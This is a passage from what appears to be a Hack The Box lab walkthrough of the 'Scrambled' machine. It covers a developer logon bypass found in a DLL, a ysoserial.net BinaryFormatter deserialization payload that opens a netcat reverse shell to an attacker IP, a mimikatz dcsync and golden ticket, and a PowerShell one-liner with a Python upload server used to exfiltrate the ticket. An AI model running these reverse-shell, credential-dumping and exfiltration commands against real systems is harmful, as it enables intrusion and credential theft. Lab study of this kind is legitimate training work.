: Executes the specified script block{ whoami }
on a remote computer.-Computer 127.0.0.1
: Target machine is127.0.0.1
(the local machine).- As we want to authorize with creds we have for the local machine.
-Credential $Cred
: Specifies the credentials to use (`$Cred`, the object created above).-ScriptBlock { whoami }
: The script block to be executed on the target machine.- +Note+: Any command can be placed here, like our reverse shell
- Summary:
- Converts a plain text password to a secure string.
- Creates a credential object.
- Executes a command on the local machine using the specified credentials.
Enumerating SMB shares as miscsvc
-
I connect to the SMB shares as miscsvc using the
impacket-smbclient
impacket-smbclient $domain/$user:$pass@dc1.$domain -k
-
I have access to the
IT
share:- We access 3 folder:
- Apps
- Logs
- Reports
-
I check the Apps folder & find a copy of their sales application
ScrambleClient.exe
&.dll
:- I download both:
- I check the other folders but they are empty.
- I quickly check if we have acess to any other shares:
- So far we don’t.
Using the ScrambledClient.exe
:
-
I transfer the
ScrambledClient.exe
to my Windows VM & connect to the HTB VPN: -
I edit my
hosts
file to have the same entries as my linux host:.\notepad.exe C:\Windows\System32\drivers\etc\hosts
-
I enable debugging like it said on the intranet page & try and connect:
- I try both this user and
sqlsvc
but neither work.
-
Discovering the credential format the program expects by reading the log file:
- This is interesting as we now know the format that the program expects credentials in.
LOGON;<username>|<password>
-
I try all known usernames and passwords I have but no hits:
Finding a login bypass by Examining the ScrambleLib.dll
in DNSpy
:
DLL
’s can hold a lot of valuable information so they are worth examining with tools like DNSpy:
-
I open up DNSpy in my Windows VM:
- If don’t have it already you can easily download it here:
-
I open up the
DLL
and find an authentication bypass:- As you can see below the code says:
if (string.Compare(Username, "scrmdev", true) == 0) { Log.Write("Developer logon bypass used"); result = true; } else
- this basically says if we enter
scrmdev
as the user we will be logged in without having to enter a password
5. Privilege Escalation:
Logging into ScrambledClient.exe
using scrmdev
creds:
-
I connect with the creds:
-
I’m in.
-
Test order:
Examining how serialized data is sent via ScrambledClient.exe
:
- Checking Debug Log:
- We can see the data is being serialized (converted) to base64
- I decode the
Base64
data in kali to see if there is anything valuable being sentecho "<base64string>" | base64 -d
-
I try SQL injection incase there is a way to leak information from the underlying database, however it doesn’t work:
-
Before each upload the string
Binary formatter init successful
is listed:- Looking online I find this article from microsoft regarding how
BinaryFormatter
is now obsolete due to security vulnerabilites:
- Looking online I find this article from microsoft regarding how
6. Ownership:
Crafting a Payload with yoserial.net
& catching a system shell:
-
I do some quick searching and find ysoserial.net:
-
Initially I try and use a simple base64 encoded powershell reverse shell but it spits out a bunch of errors:
.\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
- I figure it could be a length exception so I transfer
nc.exe
to the C:\Temp folder for ease.
-
Well that doesn’t work either, so suppose we need to troubleshoot and fix this:
.\yoserial.exe -f BinaryFormatter -q WindowsPrincipal -o base64 -c "<CommandToRun>"
-
After some digging I found that
1.35
works fine where as1.36
has other deps:- +Important Note+: Use Release
1.35
+not+1.36
- +Important Note+: Use Release
-
I generate my payload using
yoserial.net v1.35
:ysoserial-1.35\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\nc.exe 10.10.14.31 443 -e cmd"
-
Use the same syntax the program uses to upload it:
UPLOAD_ORDER;<base64string>
- We can see it errors out, but that’s fine.
-
Catch my system shell:
-
Get root flag:
7. Persistence:
Creating A Golden Ticket with mimikatz
:
-
I upload mimikatz via my python webserver:
-
I perform a dcsync attack and dump the
krbtgt
hash:lsadump::dcsync /user:krbtgt /domain:scrm.local
- I forge a golden ticket using the
Domain-SID
&krbtgt
hash:kerberos::golden /domain:scrm.local /user:Administrator /sid:S-1-5-21-2743207045-1827831105-2542523200 /rc4:<HASH>
- The ticket is is present:
Transferring the Golden Ticket Using my custom python webserver:
-
Start my custom python webserver:
- I have this handy python webserver that is useful when exfiling data.
- Save as
pythonServer.py
- Rung
python3 pythonServer.py
from http.server import SimpleHTTPRequestHandler, HTTPServer class SimpleHTTPUploadHandler(SimpleHTTPRequestHandler): def do_POST(self): length = int(self.headers['Content-Length']) field_data = self.rfile.read(length) #If you prefer change the file to be whatever you want with open('uploaded_file', 'wb') as f: f.write(field_data) self.send_response(200) self.end_headers() self.wfile.write(b'File uploaded successfully') # You can set the port to be 443 etc so it looks more legitimate. def run(server_class=HTTPServer, handler_class=SimpleHTTPUploadHandler, port=9000): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f"Starting httpd server on port {port}") httpd.serve_forever() if __name__ == "__main__": run()
- Save as
- +NOTE+: Will output file as
uploaded_file
- I have this handy python webserver that is useful when exfiling data.
-
Send the ticket from victim using
powershell
:filePath = "C:\Temp\ticket.kirbi"; $url = "http://10.10.14.31:9000"; $fileBytes = [System.IO.File]::ReadAllBytes($filePath); $webClient = New-Object System.Net.WebClient; $webClient.UploadData($url, $fileBytes)
- Ticket received on our attack host:
- +Note+: The file will be called
uploaded_file
you will have to change it back to<file>.kirbi
-
Convert with
impacket-ticketconverter
:impacket-ticketConverter ticket.kirbi admin.ccache
-
Import into session my current session:
export KRB5CCNAME=./admin.ccache
-
Check ticket is loaded into memory:
klist
-
Fire up
impacket-psexec
and connect:- We have persistence.
- We have persistence.
Lessons Learned:
What did I learn?
- I learned about using pure kerberos authentication when NTLM is disabled (not to sure how useful this will be in real life but it was a fun exercise)
- I learned ALOT about deserialization attacks.
- I learned more about deconstructing DLL’s with DNSPy, that is fun.
What silly mistakes did I make?
- Spent too long trying to use tools that utilize NTLM (netexec) for enumeration.
- See point 1, got caught out a few times.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at proton dot me